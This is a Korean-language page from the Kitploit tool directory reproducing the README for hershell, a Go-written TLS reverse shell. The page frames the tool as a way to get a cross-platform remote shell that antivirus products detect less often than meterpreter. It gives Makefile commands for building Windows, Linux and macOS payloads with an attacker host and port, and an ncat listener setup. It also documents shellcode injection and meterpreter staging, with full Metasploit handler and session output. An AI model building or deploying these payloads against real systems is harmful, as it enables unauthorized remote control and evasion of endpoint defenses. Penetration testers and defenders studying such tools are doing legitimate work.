Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
hershell — Hershell은 Go로 작성된 간단한 TCP 리버스 셸입니다. | Kitploit
도구/GitHubGitHub/sysdream/hershell
Payload GenerationExploitationShellcodePost-ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access Tool
GitHubsysdream/hershell

hershell

Hershell은 Go로 작성된 간단한 TCP 리버스 셸입니다.

저장소 보기
529867년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Hershell

참고: 이 프로젝트는 이 저장소로 포크되었습니다. 다른 개발 사항은 해당 저장소를 확인하세요.

Hershell은 Go로 작성된 간단한 TCP 리버스 셸입니다.

TLS를 사용하여 통신을 보호하며, 인증서 공개 키 핑거프린트 고정 기능을 제공하여 트래픽 가로채기를 방지합니다.

지원되는 OS는 다음과 같습니다:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD 및 파생 제품

왜?

meterpreter 페이로드는 훌륭하지만, 때때로 AV 제품에 탐지됩니다.

이 프로젝트의 목표는 여러 시스템에서 작동할 수 있는 간단한 리버스 셸을 얻는 것입니다.

어떻게?

Go로 작성되었기 때문에 원하는 아키텍처로 소스를 크로스 컴파일할 수 있습니다.

시작하기 및 의존성

Go 프로젝트이므로 공식 문서를 따라 Golang 환경($GOPATH 환경 변수 포함)을 설정해야 합니다.

그런 다음 go get github.com/sysdream/hershell을 실행하여 프로젝트를 가져옵니다.

페이로드 빌드하기

간편하게 제공되는 Makefile을 사용할 수 있습니다. 다음 환경 변수를 설정할 수 있습니다:

  • GOOS : 대상 OS
  • GOARCH : 대상 아키텍처
  • LHOST : 공격자 IP 또는 도메인 이름
  • LPORT : 리스너 포트

GOOS 및 GOARCH 변수의 허용 값은 여기에서 확인할 수 있습니다.

그러나 Makefile에 몇 가지 도우미 대상이 있습니다:

  • depends : 서버 인증서 생성 (리버스 셸에 필요)
  • windows32 : 32비트 윈도우 실행 파일 빌드 (PE 32비트)
  • windows64 : 64비트 윈도우 실행 파일 빌드 (PE 64비트)
  • linux32 : 32비트 리눅스 실행 파일 빌드 (ELF 32비트)
  • linux64 : 64비트 리눅스 실행 파일 빌드 (ELF 64비트)
  • macos32 : 32비트 맥 OS 실행 파일 빌드 (Mach-O)
  • macos64 : 64비트 맥 OS 실행 파일 빌드 (Mach-O)

해당 대상의 경우 LHOST 및 LPORT 환경 변수만 설정하면 됩니다.

셸 사용하기

실행되면 원격 셸이 제공됩니다. 이 사용자 지정 대화형 셸을 통해 Windows에서는 cmd.exe, UNIX 시스템에서는 /bin/sh를 통해 시스템 명령을 실행할 수 있습니다.

다음 특수 명령이 지원됩니다:

  • run_shell : 시스템 셸로 진입 (예: 디렉터리 변경 가능)
  • inject <base64 shellcode> : 셸코드(base64 인코딩)를 동일한 프로세스 메모리에 주입하고 실행합니다 (현재 Windows만 가능).
  • meterpreter [tcp|http|https] IP:PORT : multi/handler에 연결하여 metasploit에서 stage2 리버스 TCP, HTTP 또는 HTTPS meterpreter를 가져오고 메모리에서 셸코드를 실행합니다 (현재 Windows만 가능)
  • exit : 정상 종료

사용법

먼저 유효한 인증서를 생성해야 합니다:

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Windows의 경우:

root@kitploit:~
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Linux의 경우:

root@kitploit:~
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Mac OS X의 경우:

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

예제

기본 사용법

들어오는 연결을 처리하기 위해 다양한 도구를 사용할 수 있습니다. 예:

  • socat
  • ncat
  • openssl 서버 모듈
  • metasploit multi handler (python/shell_reverse_tcp_ssl 페이로드 사용)

다음은 ncat을 사용한 예입니다:

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Meterpreter 스테이징

경고: 현재 Windows 플랫폼에서만 작동합니다.

meterpreter 스테이징은 현재 다음 페이로드를 지원합니다:

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

올바른 페이로드를 사용하려면 사용할 전송 방식을 지정하면 됩니다 (tcp, http, https)

meterpreter 스테이징 기능을 사용하려면 핸들러를 시작하세요:

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

그런 다음 hershell에서 meterpreter 명령을 사용합니다:

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

새로운 meterpreter 세션이 msfconsole에 나타납니다:

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

크레딧

Ronan Kervella <r.kervella -at- sysdream -dot- com>

도구 다운로드